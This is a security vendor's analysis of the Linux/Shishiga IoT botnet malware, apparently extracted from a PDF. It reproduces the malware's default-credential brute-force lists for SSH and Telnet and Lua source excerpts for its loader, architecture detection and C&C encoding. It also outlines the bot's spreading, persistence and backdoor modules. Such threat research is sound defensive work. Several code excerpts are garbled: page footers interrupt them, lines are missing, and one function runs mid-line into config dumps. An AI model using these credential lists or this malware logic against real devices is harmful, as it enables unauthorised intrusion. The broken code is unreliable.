Linux Shishiga malware using LUA scripts By ESET ResearchMichal Malik Archived: 2026-04-06 00:31:11 UTC The usage of the BitTorrent protocol and Lua modules separates Linux/Shishiga from other types of malware, according to analysis by ESET. 25 Apr 2017  •  , 12 min. read Among all the Linux samples that we receive every day, we noticed one sample detected only by Dr.Web - their detection name was Linux.LuaBot. We deemed this to be suspicious as our detection rates for the Luabot family have generally been high. Upon analysis, it turned out that this was, indeed, a bot written in Lua, but it represents a new family, and is not related to previously seen Luabot malware. Thus, we’ve given it a new name: Linux/Shishiga. It uses 4 different protocols (SSH - Telnet - HTTP - BitTorrent) and Lua scripts for modularity. How to meet Shishiga? Linux/Shishiga targets GNU/Linux systems. Its infection vector is a very common one: bruteforcing weak credentials based on a password list. It does this in a similar fashion to Linux/Moose with the added capability to bruteforce SSH credentials too. Here is the complete credentials list at the time of writing: bftelnet.lua [...] local accounts={ {"admin","admin"}, {"root","root"}, {"adm","adm"}, {"acer","acer"}, {"user","user"}, {"security","security"} } [...] bfssh.lua [...] local accounts={ {"admin","admin"}, {"root","root"}, {"adm","adm"}, {"ubnt","ubnt"}, https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 1 of 15 {"root",""}, {"admin",""}, {"adm",""}, {"user","user"}, {"pi","pi"}, } --[[ {"acer","acer"}, {"security","security"}, {"root","toor"}, {"root","roottoor"}, {"root","password"}, {"root","test"}, {"root","abc123"}, {"root","111111"}, {"root","1q2w3e"}, {"root","oracle"}, {"root","1q2w3e4r"}, {"root","123123"}, {"root","qwe123"}, {"root","p@ssw0rd"}, {"root","1"}, {"root","12"}, {"root","123"}, {"root","1234"}, {"root","12346"}, {"root","123467"}, {"root","1234678"}, {"root","12346789"}, {"root","123467890"}, {"root","qwerty"}, {"root","pass"}, {"root","toor"}, {"root","roottoor"}, {"root","password123"}, {"root","password123456"}, {"root","pass123"}, {"root","password"}, {"root","passw0rd"}, {"root","1qaz"}, {"root","1qaz2wsx"}, {"root","asdfgh"}, https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 2 of 15 {"user","user"}, {"user",""}, {"acer","acer"}, {"security","security"}, {"root","passw0rds"}, ]] [...] We found several binaries of Linux/Shishiga for various architectures such as MIPS (both big- and little-endian), ARM (armv4l), i686, and also PowerPC. These are common for IoT devices. We think that other architectures like SPARC, SH-4 or m68k could be supported as we will explain later. Shishiga’s skills Linux/Shishiga is a binary packed with UPX 3.91 (Ultimate Packer for Executables), but the UPX tool will have trouble unpacking these binaries because Shishiga adds data at the end of the packed file. After unpacking, we see that it’s statically linked with the Lua runtime library and stripped of all symbols. $ file unpacked.i686.lm unpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped Once executed, the binary will initialize the malware Lua module with the following methods: Malware methods malware_module_methods dd offset aGetver ; "getver" dd offset getver dd offset aGetos ; "getos" dd offset getos dd offset aGetarch ; "getarch" dd offset getarch dd offset aGetmacaddr ; "getmacaddr" dd offset getmacaddr dd offset aGetmods ; "getmods" dd offset getmods dd offset aSetargs ; "setargs" dd offset setargs The getmods method will return the archive blob as we will explain later. Then hardcoded Lua code ( malware.lua ) is executed via the luaL_loadstring and lua_pcall functions. The Lua code is quite straightforward, but here is a quick walkthrough of the source code without any modifications on our part. malware.lua https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 3 of 15 local unistd=require("posix.unistd") require("malware") function getexe() local fn=unistd.readlink("/proc/self/exe") if fn==nil and arg~=nil then fn=arg[0] --symlink removed end if fn==nil then print("couldn't find bot file") return nil end local file=io.open(fn,"r") if file==nil then print("couldn't find bot file") return nil end local data=file:read("*all") file:close() return data end function getMods() return zlib.inflate()(malware.getmods()) end function getScriptFiles(scripts) local files={} local i=1 while true do local a1,b1,c1=string.find(scripts,'%-%-script%-begin%-%-([%w%.]+)%-%-',i) if a1==nil then break end local a2,b2,c2=string.find(scripts,'%-%-script%-end%-%-([%w%.]+)%-%-',i) if a2==nil then break end if c1~=c2 then return nil https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 4 of 15 end local src=string.sub(scripts,b1+1,a2-1) i=b2+1 files[c1]=src end return files end malware.exe=getexe() 1 local modules=getScriptFiles(getMods()) 2 [...] f=load(malware.modules['main.lua']) 3 local s,err=pcall(f) if s==false then print(err) end (1) open the malware executable file from /proc/self/exe and return its content; (2) retrieve the zlib archive via getmods method, decompresses it, then parse it using tags and store it in a Lua’s array; (3) call main.lua module; There is an exhaustive list of all Lua scripts found in the IoCs section. Most of them have self-explanatory filenames, but here is a brief summary of some of them. callhome.lua retrieve the configuration file server.bt or servers from config.lua ; if unable to reach the current default server, change to a different server; send files (reports or accounts, both JSON formatted); execute tasks from task list retrieved from the C&C server; bfssh.lua / bftelnet.lua module to bruteforce SSH and Telnet logins; check if the command echo -en "\\x31\\x33\\x33\\x37" outputs 1337 ; if not, exit else continue; device architecture is determined from the /bin/ls file by running cat /bin/ls and parsing the ELF header, see below; spread the malware (both .lm and .dm  files) according to the device architecture; save successful credentials; The architecture checking code is as follows: https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 5 of 15 bfssh.lua, getArchELF method function bfssh.getArchELF(text) local bits,denc,ver,ftype,farch if text==nil then return nil end local i=text:find("\x7fELF") 1 if i~=nil then bits,denc,ver=string.unpack("HH",text:sub(i+16)) end end return bits,denc,farch 3 end (1) every ELF file has to start with \x7fELF (2) ftype that represents e_type (ELF file type = executable, shared etc.) is not used (3) bits represents e_ident[EI_CLASS] (32-bit or 64-bit), denc represents e_ident[EI_DATA] (little or big endian), and farch represents e_machine in the ELF header bfssh.lua, getArchName method function bfssh.getArchName(bits,denc,farch) 1 if farch==0x8 and denc==1 then 2 return "mipsel" end if farch==0x8 and denc==2 then return "mips" end if farch==0x28 then return "armv4l" end if farch==0x2 then return "sparc" end https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 6 of 15 if farch==0x2a then return "sh4" end if farch==0x4 then return "m68k" end if farch==0x14 then return "powerpc" end if farch==0x3 or farch==0x7 or farch==0x3e then 3 return "i686" end return nil end (1) bits is not used (2) check if file is for MIPS little endian ( e_machine == EM_MIPS and e_ident[EI_DATA] == ELFDATA2LSB ) (3) check if file is for Intel 80386 or Intel 80860 or AMD x86-64 ( e_machine == EM_386 or e_machine == EM_860 or e_machine == EM_X86_64 ) config.lua contains publicKey to verify the signature of the binary (.lm or .dm); contains bootstrap nodes list; contains filenames of .bt files, port numbers of SOCKS and HTTP server; contains IP address of the server (probably C&C server); persist.lua persistence method depending on the privilege (root or user) scanner.lua used to generate random /16 networks that are not local worm.lua (this script was removed in the latest version of Linux/Shishiga) allows scanning on a given port; https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 7 of 15 allows upload; gets information from the new infected server; The readme.lua script has a message banner that grabs your attention, if you speak Russian: ВСЁ ИДЁТ ПО ПЛАНУ А при коммунизме всё будет заебись Он наступит скоро — надо только подождать Там всё будет бесплатно,там всё будет в кайф Там наверное вощще не надо будет (умирать) Я проснулся среди ночи и понял, что - ВСЁ ИДЁТ ПО ПЛАНУ This translates to: EVERYTHING GOES ACCORDING TO PLAN When we get communism it'll all be fucking great. It will come soon, we just have to wait. Everything will be free there, everything will be fun. We'll probably not even have to die. I woke up in the middle of the night and realized EVERYTHING GOES ACCORDING TO PLAN It seems that the malware author was inspired by E.Letov and his album Everything goes according to plan - see the last verse of the title song. Over the past few weeks, we observed some minor changes like parts of some modules being rewritten, addition of testing modules, removal of redundant files, but nothing especially noteworthy. While the main binary is named .lm , we also managed to retrieve binaries with the following name .dm  - a simple backdoor that listens on 0.0.0.0 (all IPv4 addresses) port 2015 . One of the small changes was in the name of this backdoor binary - it changed from dl to dm . Shishiga communication Linux/Shishiga can communicate using any of the modules httpproto.lua , btloader.lua or server.lua . The httpproto.lua module has functions that allow the given data to be encoded or decoded, and make HTTP POST and GET requests. The source code below shows the process of encoding data. httpproto.lua https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 8 of 15 [...] function httpproto.encode(data) local msg=bencode.encode(data) local c=zlib.crc32()(msg) local k=string.pack(",1 'k': ,2 'salt': 'script', 'seq': 1486885364, 'v': 'caba4dbe2f7add9371b94b97cf0d351b72449072,test.lua\n' } (1) signature (2) public key update.bt { 'sig': , 'k': , 'salt': 'update', 'seq': 1486885364, 'v': 'bf4d9e25fc210a1d9809aebb03b30748dd588d08,mipsel.lm\n 8a0d58472f6166ade0ae677bab7940fe38d66d35,armv4l.lm\n 51a4ca78ebb0649721ae472290bea7bfe983d727,mips.lm\n 979fb376d6adc65473c4f51ad1cc36e3612a1e73,powerpc.lm\n ce4b3c92a96137e6215a5e2f5fd28a672eddaaab,i686.lm\n' } https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/ Page 9 of 15 server.bt { 'sig': , 'k':